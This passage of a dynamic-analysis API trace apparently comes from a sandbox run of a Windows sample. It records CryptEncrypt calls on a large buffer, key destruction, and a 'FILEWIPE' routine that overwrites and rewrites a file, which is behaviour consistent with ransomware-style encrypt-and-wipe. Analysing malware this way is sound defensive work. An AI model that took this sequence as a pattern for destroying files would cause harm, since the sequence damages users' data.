wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.512] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.514] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.514] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x15dc2, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x15dd0) returned 1 [0027.514] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.514] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.514] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.514] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.514] CharLowerBuffW (in: lpsz="byte[89553]", cchLength=0xb | out: lpsz="byte[89553]") returned 0xb [0027.514] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.515] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.515] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.515] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x15dc2, dwBufLen=0x15dd0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x15dd0) returned 1 [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.515] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.515] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.515] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.516] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.516] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.516] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.516] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.516] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.516] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.520] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.520] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.520] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.522] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.522] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.522] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.522] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.522] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.522] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.522] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.522] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.523] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.523] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.523] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.523] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.523] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.523] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.523] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.523] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.523] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.525] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.528] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.529] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.529] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.529] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.529] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.529] CharLowerBuffW (in: lpsz="byte[89538]", cchLength=0xb | out: lpsz="byte[89538]") returned 0xb [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.530] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.530] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.530] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.531] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.531] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.531] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.531] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.531] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.531] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.532] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.532] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.532] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.532] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.533] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.533] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.533] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.533] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.533] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.533] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7728) returned 1 [0027.533] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.533] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.533] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.533] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1e30, lpOverlapped=0x0) returned 1 [0027.533] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.533] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1e30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.533] SetFilePointerEx (in: hFile=0x188, 